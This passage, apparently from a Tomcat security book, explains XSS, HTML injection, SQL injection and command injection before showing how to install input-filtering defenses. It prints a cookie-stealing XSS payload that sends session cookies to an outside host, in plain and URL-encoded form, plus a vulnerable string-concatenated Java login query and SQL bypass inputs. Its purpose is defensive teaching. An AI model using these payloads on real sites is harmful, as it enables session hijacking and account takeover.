This is one of the most commonly known web application security exploits. Simply put, Cross Site Scripting (XSS^[29]) is the act of writing malicious web browser scripting code and tricking another user's web browser into running it, all by way of a third- party's web server (like your Tomcat). XSS attacks are possible when a web application echoes back user-supplied request data without first filtering it. XSS is most common when the web application is being accessed by users with web browsers that support scripting languages (e.g., JavaScript or VBScript). Usually, XSS attacks attempt to steal a user's session cookie value, which the attacker then uses to log into the web site as the user who owned the cookie, and obtain full access to the victim's capabilities and identity on that web site. This is commonly referred to as HTTP session hijacking.

Here's one example of how XSS could be used to hijack a user's session. A web site (we'll call it www.example.com for the purpose of this example) running on Tomcat is set up to allow users to browse the web site and read discussion forums. To post a message to the discussion forum, the site requires that users log in, but it offers free account registration. Once logged in, a user can post messages in discussion forums, as well as do other things on the site such as online shopping. A malicious attacker notices that the web site supports a search function that echoes back user search query strings and does not filter or escape any special characters that users supply in the search query strings. That is, if one searches for "foo," she will get a list of all pages that refer to "foo." However, if there are no search results to list for "foo," the server says something like, "Could not find any documents including 'foo'."

The attacker then tries a search query like this:

<b>foo</b>

The site replies back:

Could not find any documents including 'foo'.

Notice that the search result message interpreted the bold tags that were typed into the search query string as HTML, rather than text! Then, the user tries this query string:

 <script language='javascript'>alert(document.cookie)</script>

If the server echoes this back to the web browser verbatim, the web browser will see the query string content as regular HTML containing an embedded script that opens an alert dialog window. This window shows any and all HTTP cookies (including their values) that apply to this web page. If the web site does this, and the user has a session cookie, the attacker knows the following things:

The attacker then writes a very short JavaScript program that takes the session cookie and sends it to the attacker's machine, for inspection. For example, if the attacker had hacked into an account on the www.groovywigs.com web site and wanted to inspect a victim's cookie on that machine, he could write a JavaScript program that sends the victim user's session cookie value to that account like this:

<script language="javascript">document.location="http://www.groovywigs.com/foo" + docu
ment.cookie</script>

Once run, the script makes a JavaScript enabled web browser send the session cookie value to www.groovywigs.com.

To execute this script, the attacker finds out how search parameters are sent to the vulnerable site's search engine. This is most likely done through simple request parameters, and the relevant URL looks something like this:

http://www.example.com/search?query=foo

By using that example, the malicious user then creates a URL that includes his script and would send a victim's browser to a place where the attacker can inspect the victim's session cookie:

http://www.example.com/search?query=<script language="javascript">document.location="h
ttp://www.groovywigs.com/foo" + document.cookie</script>

Then, using URL encoding, the malicious user disguises the same URL content:

http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument.l
ocation%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document
.cookie%3C%2Fscript%3E

This URL does the same thing as the previous URL but is less human-readable. By further encoding some of the other items in the URL, such as "javascript" and the "document.cookie" strings, the attacker may make it even harder to recognize the URL as an XSS attack URL.

The attacker then finds a way to get this XSS exploit link into one or more of the web site users' web browsers. Usually, the more users that the attacker can give the link to, the more victims there are to exploit. So, sending it in a mailing list email or posting it to a discussion forum on the web site will get lots of potential victims looking at it—and some will click on it. The attacker creates a fake user account on the www.example.com web site using fake personal data (verified with a fake email account from which he can send a verification reply email). Once logged into the web site with this new fake user account, the attacker posts a message to the discussion forum including the link. Then, the attacker logs out and waits, watching the access logs of the www.groovywigs.com web server he is hacked into. If a logged-in user of www.example.com clicks on the link, her session cookie value will show up in the access log of www.groovywigs.com. Once the attacker has this cookie value, he can use this value to access the account of the victim without being prompted to log in to the site.

The worst case scenario here is for the web site to store sensitive information, such as credit card numbers (for the online shopping portions of the web site), and have it compromised because of an XSS attack. It's possible that the attacker could silently record the credit card information without the site's users knowing it happened, and its administrators would never know that they are the source of the information leak.

A large number of popular web sites are vulnerable to XSS exploits. They may not make it as easy as the above example, but if there's a spot in a web application where unfiltered input is echoed back to a user, XSS exploits can probably be devised. On some sites, it's not even necessary for the attacker to have a valid user account in order to use an XSS exploit. Web servers with web applications that are vulnerable to XSS attacks are written in all programming languages (including Java) and run on any operating system. It's a generic and widespread web browser scripting problem, and a problem on the server side that comes mainly from not validating and filtering bad user input.

What can you do as a Tomcat administrator to help fix the problem?

As usual, there's no way to filter and catch 100 percent of XSS exploit content, but you can certainly protect against most of it.

This vulnerability is also caused by improper user input validation and filtering. HTML injection is the act of writing and inserting HTML content into a site's web pages so that other users of the web site see things that the administrators and initial authors of the web site didn't intend to be published.

Here are some examples of what a malicious user could use HTML injection to do, depending on what features the vulnerable web site offers:

Most web sites that are vulnerable to HTML injection allow (at a minimum) an attacker to use an HTTP GET request to place as much data on the vulnerable site as the HTTP client will allow in a single URL—without being logged into the vulnerable site. As with XSS attacks, an attacker can send these long URLs in email or place them on other web pages for users to find and use. Of course, the longer the URL, the less likely people are to click on it, unless the link's URL is obscured from their view (for instance, by placing the long URL in an HTML href link).

Needless to say, this vulnerability is a serious one. Surprisingly, we weren't able to find much text about it on the Web—at least text that was solely about HTML injection and not about XSS as well. This is largely because most HTML injection vulnerabilities in web applications can also be used for XSS. However, there are many sites that protect against XSS by filtering on tags, such as <script>, and are still completely vulnerable to HTML injection.

What can you do as a Tomcat administrator to help fix the problem?

In comparison to XSS and HTML injection, SQL injection vulnerabilities are quite a bit more rare and obscure. SQL injection is the act of submitting malicious SQL query string fragments in a request to a server (usually an HTTP request to a web server) in order to circumvent database-based security on the site. SQL injection can also be used to manipulate a site's SQL database in a way that the site's owners and authors didn't anticipate and probably wouldn't like. A site allowing user input in SQL queries or by having improper or nonexistent validation and filtering of that user input makes this type of attack possible.

The only time that server-side Java code can be vulnerable to this kind of an attack is when the Java code doesn't use JDBC PreparedStatements. If you're sure that your web application uses only JDBC PreparedStatements, your application isn't likely to be vulnerable to SQL injection exploits. That is because PreparedStatements do not allow for changing the logic structure of a query at variable insertion time—essential for SQL insertion exploits to work. If your web application drives non-Java JDBC code that runs SQL queries, your application may also be vulnerable. Aside from Java's PreparedStatements (and any corresponding functionality in other programming languages), SQL injection exploits may work on web applications written in any language, for any SQL database.

Here's an example of a SQL injection vulnerability: let's say your web application is written in Java, using JDBC Statements and not PreparedStatements. When a user attempts to log in, your application creates a SQL query string using her username and password to see if she exists in the database with that password. If the username and password strings are stored in variables named username and password, for example, you might have code in your web application that looks something like this:

// We already have a connection to the database. Create a Statement to use.
Statement statement = connection.createStatement(  );

// Create a regular String containing our SQL query for the user's login,
// inserting the username and password into the String.
String queryString = "select * from USER_TABLE where USERNAME='" +
    username + "' and PASSWORD='" + password + "';";

// Execute the SQL query as a plain String.
ResultSet resultSet = statement.executeQuery(queryString);

// A resulting row from the db means that the user successfully logged in.

So, for example, if a user logged in with the username of jasonb and a password of guessme, the following code would assign this string value to queryString:

select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme';

The string values of the username and password variables are concatenated into the queryString, regardless of what they contain. For the purposes of this example, let's also assume that the application doesn't yet do any filtering of the input that comes from the username and password web page form fields before including that input in the queryString.

Now that you understand the vulnerable setup, let's examine the attack. Consider what the queryString would look like if a malicious user typed in a username and password like this:

Username: 'jasonb'
Password: ' or '1'='1

The resulting queryString would be:

select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1';

Examine this query closely: although there might not be a user in the database named jasonb with an empty password, 1 always equals 1, so the database happily returns all rows in the USER_TABLE. The web application code will probably interpret this as a valid login because one or more rows were returned. An attacker won't know the exact query being used to check for a valid login, so it may take some guessing to get the right combination of quotes and Boolean logic—but eventually, a clever attacker will break through.

Of course, if the double and/or single quotes are escaped before they are concatenated into the queryString, it becomes much harder to insert additional SQL logic into the queryString. Further, if whitespace wasn't allowed in these fields, then the user couldn't use it to separate logical operators in the queryString. Even if the application doesn't use PreparedStatements, there are still ways of protecting the site against SQL injection exploits; simply filtering out whitespace and quotation marks makes SQL injection much more difficult to accomplish.

Another thing to note about SQL injection vulnerabilities is that each brand of SQL database has different features, each of which may be exploitable. For instance, if the web application runs queries against a MySQL database, and MySQL allows the # character to be used as a comment marker, an attacker might enter a username and password combination like this:

Username: 'jasonb';#
Password: anything

The resulting queryString would look like this:

select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything';

Everything after the # becomes a comment, and the password is never checked. The database returns the row where USERNAME='jasonb', and the application interprets that result as a valid login. On other databases, two dashes (--) mark the beginning of a comment, which could be used instead of #. Additionally, single or double quotes are common characters that are exploitable.

There are even rare cases where SQL injection exploits call stored procedures within a database, which then can perform all sorts of mischief. This means that even if Tomcat is installed in a secure manner, the database may still be vulnerable to attack through Tomcat, and one might render the other insecure if they're both running on the same server computer.

What can you do as a Tomcat administrator to help fix the problem?

Command injection is the act of sending a request to a web server that will run on the server's in a way that the authors of the web application didn't anticipate, to circumvent security on the server. This vulnerability is found on all operating systems and all server software that runs other command-line commands to perform some work as part of a web application. It is caused by improper or nonexistent validation and filtering of the user input before passing the user input to a command-line command as an argument.

There is no simple way to check if your application is vulnerable to command injection exploits. For this reason, it's a good idea to always validate user input. Unless your web application uses the CGIServlet or invokes command-line commands on its own, it probably isn't vulnerable to command injection exploits.

To guard against this vulnerability, most special characters need to be filtered from user input because command shells accept and use so many special characters. Filtering these characters out of all user input is usually not an option, as some parts of web applications commonly need some of the characters that must be filtered. Escaping backtick (`), single quote ('), and double quote (") characters are probably good across the board, but it may not be so simple for other characters. To account for a specific application's needs, you may need custom input validation code.

What can you do as a Tomcat administrator to help fix the problem?

To install the BadInputValve, copy the bad-input.jar file into the $CATALINA_HOME/lib directory (you may need administrator privileges to do this, depending on how you installed Tomcat):

# cp bad-input.jar $CATALINA_HOME/lib

Next, configure the <Valve> inside your webapp's <Context> container element, wherever you configured that. Add the <Valve> element to your <Context> like this:

<Context path="" docBase="ROOT">
  <Valve className="com.oreilly.tomcat.valve.BadInputValve"
         deny="x00,x04,x08,x0a,x0d"
         escapeQuotes="true"
         escapeAngleBrackets="true"
         escapeJavaScript="true"/>
</Context>

Then, restart Tomcat:

# /etc/rc.d/init.d/tomcat restart

Now that you've installed the BadInputValve, your input_test.jsp page should act immune to all XSS, HTML injection, SQL injection, and command injection exploits. Try submitting the same exploit parameter contents as before. This time, it will escape the exploit characters and strings instead of interpreting them.

To install the BadInputFilter, copy the bad-input.jar file into your webapp's WEB-INF/lib directory:

# cp bad-input.jar $CATALINA_HOME/webapps/your-webapp/WEB-INF/lib

Next, configure the Filter inside your webapp's WEB-INF/web.xml file, like this:

  <filter>
    <filter-name>BadInputFilter</filter-name>
    <filter-class>com.oreilly.tomcat.filter.BadInputFilter</filter-class>
    <init-param>
      <param-name>deny</param-name>
      <param-value>x00,x04,x08,x0a,x0d</param-value>
    </init-param>
    <init-param>
      <param-name>escapeQuotes</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>escapeAngleBrackets</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>escapeJavaScript</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>
  <filter-mapping>
    <filter-name>BadInputFilter</filter-name>
    <url-pattern>/input_test.jsp</url-pattern>
  </filter-mapping>

You can map the Filter to any URL(s) you wish, but in the preceding configuration, we mapped it to our /input_test.jsp file so that it was easily testable. You may want to try that first.

Then, restart Tomcat:

# /etc/rc.d/init.d/tomcat restart

At that point, the BadInputFilter should be running and filtering requests.